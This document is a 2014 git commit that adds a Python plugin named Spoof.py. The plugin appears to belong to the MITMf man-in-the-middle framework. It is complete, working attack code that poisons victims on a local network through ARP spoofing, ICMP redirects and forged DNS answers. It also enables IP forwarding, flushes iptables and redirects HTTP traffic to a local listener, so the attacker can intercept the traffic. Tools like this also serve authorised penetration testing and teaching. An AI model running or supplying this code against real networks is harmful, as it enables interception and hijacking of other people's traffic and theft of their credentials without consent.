ArpSpoof and DNSspoof plugins removed

New plugin Spoof now can poison via ICMP, ARP and DNS
This commit is contained in:
byt3bl33d3r 2014-07-22 15:59:21 +02:00
parent 43e258713f
commit d57002ddc4
4 changed files with 197 additions and 201 deletions

197
plugins/Spoof.py Normal file
View file

@ -0,0 +1,197 @@
from twisted.internet import reactor
from twisted.internet.interfaces import IReadDescriptor
from plugins.plugin import Plugin
from time import sleep
import nfqueue
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import *
import os
import sys
import threading
class Spoof(Plugin):
name = "Spoof"
optname = "spoof"
desc = 'Redirect traffic using ICMP, ARP or DNS'
has_opts = True
def initialize(self,options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.interface = options.interface
self.arp = options.arp
self.icmp = options.icmp
self.dns = options.dns
self.domain = options.domain
self.dnsip = options.dnsip
self.gateway = options.gateway
self.routermac = getmacbyip(self.gateway)
self.summary = options.summary
self.target = options.target
self.arpmode = options.arpmode
self.mac = get_if_hwaddr(self.interface)
self.port = self.options.listen
self.debug = False
self.send = True
if os.geteuid() != 0:
sys.exit("[-] Spoof plugin requires root privileges")
if self.options.log_level == 'debug':
self.debug = True
print "[*] Spoof plugin online"
print '[*] Setting up ip_forward and iptables'
file = open('/proc/sys/net/ipv4/ip_forward', 'w')
file.write('1')
file.close()
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port)
if self.arp == True:
if self.icmp == True:
sys.exit("[-] --arp and --icmp are mutually exclusive")
if (not self.interface or not self.gateway):
sys.exit("[-] ARP Spoofing requires --gateway and --interface")
print "[*] ARP Spoofing enabled"
if self.arpmode == 'req':
pkt = self.build_arp_req()
elif self.arpmode == 'rep':
pkt = self.build_arp_rep()
elif self.icmp == True:
if self.arp == True:
sys.exit("[-] --icmp and --arp are mutually exclusive")
if (not self.interface or not self.gateway or not self.target):
sys.exit("[-] ICMP Redirection requires --gateway, --interface and --target")
print "[*] ICMP Redirection enabled"
pkt = self.build_icmp()
if self.summary == True:
pkt.show()
ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
if ans == 'y' or len(ans) == 0:
pass
else:
sys.exit(0)
if self.dns == True:
if (not self.dnsip or not self.domain):
sys.exit("[-] DNS Spoofing requires --domain and --dnsip")
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
print "[*] DNS Spoofing enabled"
self.start_dns_queue()
t = threading.Thread(name='send_packets', target=self.send_packets, args=(pkt,self.interface,self.debug,))
t.setDaemon(True)
t.start()
def send_packets(self,pkt,interface, debug):
while self.send == True:
sendp(pkt, inter=2, iface=interface, verbose=debug)
def build_icmp(self):
pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=get_if_addr(self.interface))/\
IP(src=self.target, dst=self.gateway)/UDP()
return pkt
def build_arp_req(self):
if self.target == None:
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway)
elif self.target:
target_mac = getmacbyip(self.target)
if target_mac == None:
sys.exit("[-] Error: Could not resolve targets MAC address")
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target)
return pkt
def build_arp_rep(self):
if self.target == None:
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
elif self.target:
target_mac = getmacbyip(self.target)
if target_mac == None:
sys.exit("[-] Error: Could not resolve targets MAC address")
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target, op=2)
return pkt
def nfqueue_callback(self, i, payload):
data = payload.get_data()
pkt = IP(data)
if not pkt.haslayer(DNSQR):
payload.set_verdict(nfqueue.NF_ACCEPT)
else:
#if self.spoofall:
#if not self.redirectto:
#self.spoofed_pkt(payload, pkt, localIP)
#else:
#self.spoofed_pkt(payload, pkt, self.redirectto)
if self.domain in pkt[DNS].qd.qname:
self.modify_dns(payload, pkt)
def modify_dns(self, payload, pkt):
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd, an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.dnsip))
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
logging.info("%s Spoofed DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
def start_dns_queue(self):
self.q = nfqueue.queue()
self.q.set_callback(self.nfqueue_callback)
self.q.fast_open(0, socket.AF_INET)
self.q.set_queue_maxlen(5000)
reactor.addReader(self)
self.q.set_mode(nfqueue.NFQNL_COPY_PACKET)
def fileno(self):
return self.q.get_fd()
def doRead(self):
self.q.process_pending(100)
def connectionLost(self, reason):
reactor.removeReader(self)
def logPrefix(self):
return 'queue'
def add_options(self,options):
options.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP Spoofing')
options.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP Redirects')
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Redirect DNS requests')
#options.add_argument('--dhcp')
options.add_argument('--iface', dest='interface', help='Specify the interface to use')
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]')
options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
options.add_argument('--domain', type=str, dest='domain', help='Domain to spoof [e.g google.com]')
options.add_argument('--dnsip', type=str, dest='dnsip', help='IP address to resolve dns queries to')
def finish(self):
self.send = False
sleep(3)
print '\n[*] Resetting ip_forward and iptables'
file = open('/proc/sys/net/ipv4/ip_forward', 'w')
file.write('0')
file.close()
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
if self.arp == True:
print '[*] Re-arping network'
pkt = Ether(src=self.routermac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=self.gateway, hwsrc=self.routermac, op=2)
sendp(pkt, inter=1, count=5, iface=self.interface)